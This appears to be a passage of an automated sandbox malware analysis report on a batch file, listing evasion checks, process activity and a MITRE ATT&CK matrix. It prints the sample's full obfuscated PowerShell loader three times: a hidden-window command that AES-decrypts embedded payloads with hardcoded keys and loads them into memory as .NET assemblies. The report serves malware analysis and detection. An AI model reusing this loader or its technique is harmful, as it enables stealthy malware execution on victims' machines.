Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4908	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4988	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6183	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1073	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6528	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep count: 6183 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7176	Thread sleep count: 1073 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7188	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\Desktop\15.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\Desktop\15.bat';$MMJz='GelYestClYesurlYesrenlYestlYesProlYesceslYesslYes'.Replace('lYes', ''),'ChFGxTanFGxTgFGxTeEFGxTxFGxTteFGxTnsFGxTiFGxToFGxTnFGxT'.Replace('FGxT', ''),'EleTQWBmeTQWBnTQWBtAtTQWB'.Replace('TQWB', ''),'CrAFGseAFGsaAFGstAFGseAFGsDecAFGsryAFGsptAFGsorAFGs'.Replace('AFGs', ''),'SRlYbpRlYblRlYbiRlYbtRlYb'.Replace('RlYb', ''),'DoaAnecooaAnmpoaAnresoaAnsoaAn'.Replace('oaAn', ''),'EnHILctrHILcyHILcPoHILcinHILctHILc'.Replace('HILc', ''),'CDYnropDYnryToDYnr'.Replace('DYnr', ''),'ReaOApIdLiOApInesOApI'.Replace('OApI', ''),'IndQRQvodQRQkedQRQ'.Replace('dQRQ', ''),'TratglInstglIfotglIrmtglIFitglInatglIlBltglIotglIctglIktglI'.Replace('tglI', ''),'MbkBwaibkBwnbkBwModbkBwulbkBwebkBw'.Replace('bkBw', ''),'FroXggooXggmBaoXggseoXgg64SoXggtroXggioXggngoXgg'.Replace('oXgg', ''),'Loajyrjdjyrj'.Replace('jyrj', '');powershell -w hidden;function FBejp($JKmLP){$UerdI=[System.Security.Cryptography.Aes]::Create();$UerdI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$UerdI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$UerdI.Key=[System.Convert]::($MMJz[12])('dVsAn8RIciGbSq5PEUSffnRQiEF7D6JhJ+MhQGAxpxA=');$UerdI.IV=[System.Convert]::($MMJz[12])('rrMf8DdSiOTkJYW5AhOOlg==');$ytGVg=$UerdI.($MMJz[3])();$FTQFX=$ytGVg.($MMJz[10])($JKmLP,0,$JKmLP.Length);$ytGVg.Dispose();$UerdI.Dispose();$FTQFX;}function mpyCC($JKmLP){$FjjxJ=New-Object System.IO.MemoryStream(,$JKmLP);$sySFb=New-Object System.IO.MemoryStream;$Rdfpf=New-Object System.IO.Compression.GZipStream($FjjxJ,[IO.Compression.CompressionMode]::($MMJz[5]));$Rdfpf.($MMJz[7])($sySFb);$Rdfpf.Dispose();$FjjxJ.Dispose();$sySFb.Dispose();$sySFb.ToArray();}$BklLD=[System.IO.File]::($MMJz[8])([Console]::Title);$oNBKh=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 5).Substring(2))));$HuDRY=mpyCC (FBejp ([Convert]::($MMJz[12])([System.Linq.Enumerable]::($MMJz[2])($BklLD, 6).Substring(2))));[System.Reflection.Assembly]::($MMJz[13])([byte[]]$HuDRY).($MMJz[6]).($MMJz[9])($null,$null);[System.Reflection.Assembly]::($MMJz[13])([byte[]]$oNBKh).($MMJz[6]).($MMJz[9])($null,$null); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $host.ui.rawui.windowtitle='c:\users\user\desktop\15.bat';$mmjz='gelyestclyesurlyesrenlyestlyesprolyesceslyesslyes'.replace('lyes', ''),'chfgxtanfgxtgfgxteefgxtxfgxttefgxtnsfgxtifgxtofgxtnfgxt'.replace('fgxt', ''),'eletqwbmetqwbntqwbtattqwb'.replace('tqwb', ''),'crafgseafgsaafgstafgseafgsdecafgsryafgsptafgsorafgs'.replace('afgs', ''),'srlybprlyblrlybirlybtrlyb'.replace('rlyb', ''),'doaanecooaanmpoaanresoaansoaan'.replace('oaan', ''),'enhilctrhilcyhilcpohilcinhilcthilc'.replace('hilc', ''),'cdynropdynrytodynr'.replace('dynr', ''),'reaoapidlioapinesoapi'.replace('oapi', ''),'indqrqvodqrqkedqrq'.replace('dqrq', ''),'tratglinstglifotglirmtglifitglinatglilbltgliotglictgliktgli'.replace('tgli', ''),'mbkbwaibkbwnbkbwmodbkbwulbkbwebkbw'.replace('bkbw', ''),'froxggooxggmbaoxggseoxgg64soxggtroxggioxggngoxgg'.replace('oxgg', ''),'loajyrjdjyrj'.replace('jyrj', '');powershell -w hidden;function fbejp($jkmlp){$uerdi=[system.security.cryptography.aes]::create();$uerdi.mode=[system.security.cryptography.ciphermode]::cbc;$uerdi.padding=[system.security.cryptography.paddingmode]::pkcs7;$uerdi.key=[system.convert]::($mmjz[12])('dvsan8ricigbsq5peusffnrqief7d6jhj+mhqgaxpxa=');$uerdi.iv=[system.convert]::($mmjz[12])('rrmf8ddsiotkjyw5ahoolg==');$ytgvg=$uerdi.($mmjz[3])();$ftqfx=$ytgvg.($mmjz[10])($jkmlp,0,$jkmlp.length);$ytgvg.dispose();$uerdi.dispose();$ftqfx;}function mpycc($jkmlp){$fjjxj=new-object system.io.memorystream(,$jkmlp);$sysfb=new-object system.io.memorystream;$rdfpf=new-object system.io.compression.gzipstream($fjjxj,[io.compression.compressionmode]::($mmjz[5]));$rdfpf.($mmjz[7])($sysfb);$rdfpf.dispose();$fjjxj.dispose();$sysfb.dispose();$sysfb.toarray();}$bklld=[system.io.file]::($mmjz[8])([console]::title);$onbkh=mpycc (fbejp ([convert]::($mmjz[12])([system.linq.enumerable]::($mmjz[2])($bklld, 5).substring(2))));$hudry=mpycc (fbejp ([convert]::($mmjz[12])([system.linq.enumerable]::($mmjz[2])($bklld, 6).substring(2))));[system.reflection.assembly]::($mmjz[13])([byte[]]$hudry).($mmjz[6]).($mmjz[9])($null,$null);[system.reflection.assembly]::($mmjz[13])([byte[]]$onbkh).($mmjz[6]).($mmjz[9])($null,$null); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo $host.ui.rawui.windowtitle='c:\users\user\desktop\15.bat';$mmjz='gelyestclyesurlyesrenlyestlyesprolyesceslyesslyes'.replace('lyes', ''),'chfgxtanfgxtgfgxteefgxtxfgxttefgxtnsfgxtifgxtofgxtnfgxt'.replace('fgxt', ''),'eletqwbmetqwbntqwbtattqwb'.replace('tqwb', ''),'crafgseafgsaafgstafgseafgsdecafgsryafgsptafgsorafgs'.replace('afgs', ''),'srlybprlyblrlybirlybtrlyb'.replace('rlyb', ''),'doaanecooaanmpoaanresoaansoaan'.replace('oaan', ''),'enhilctrhilcyhilcpohilcinhilcthilc'.replace('hilc', ''),'cdynropdynrytodynr'.replace('dynr', ''),'reaoapidlioapinesoapi'.replace('oapi', ''),'indqrqvodqrqkedqrq'.replace('dqrq', ''),'tratglinstglifotglirmtglifitglinatglilbltgliotglictgliktgli'.replace('tgli', ''),'mbkbwaibkbwnbkbwmodbkbwulbkbwebkbw'.replace('bkbw', ''),'froxggooxggmbaoxggseoxgg64soxggtroxggioxggngoxgg'.replace('oxgg', ''),'loajyrjdjyrj'.replace('jyrj', '');powershell -w hidden;function fbejp($jkmlp){$uerdi=[system.security.cryptography.aes]::create();$uerdi.mode=[system.security.cryptography.ciphermode]::cbc;$uerdi.padding=[system.security.cryptography.paddingmode]::pkcs7;$uerdi.key=[system.convert]::($mmjz[12])('dvsan8ricigbsq5peusffnrqief7d6jhj+mhqgaxpxa=');$uerdi.iv=[system.convert]::($mmjz[12])('rrmf8ddsiotkjyw5ahoolg==');$ytgvg=$uerdi.($mmjz[3])();$ftqfx=$ytgvg.($mmjz[10])($jkmlp,0,$jkmlp.length);$ytgvg.dispose();$uerdi.dispose();$ftqfx;}function mpycc($jkmlp){$fjjxj=new-object system.io.memorystream(,$jkmlp);$sysfb=new-object system.io.memorystream;$rdfpf=new-object system.io.compression.gzipstream($fjjxj,[io.compression.compressionmode]::($mmjz[5]));$rdfpf.($mmjz[7])($sysfb);$rdfpf.dispose();$fjjxj.dispose();$sysfb.dispose();$sysfb.toarray();}$bklld=[system.io.file]::($mmjz[8])([console]::title);$onbkh=mpycc (fbejp ([convert]::($mmjz[12])([system.linq.enumerable]::($mmjz[2])($bklld, 5).substring(2))));$hudry=mpycc (fbejp ([convert]::($mmjz[12])([system.linq.enumerable]::($mmjz[2])($bklld, 6).substring(2))));[system.reflection.assembly]::($mmjz[13])([byte[]]$hudry).($mmjz[6]).($mmjz[9])($null,$null);[system.reflection.assembly]::($mmjz[13])([byte[]]$onbkh).($mmjz[6]).($mmjz[9])($null,$null); "			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	131 Windows Management Instrumentation	1 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	14 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Modify Registry	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	23 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
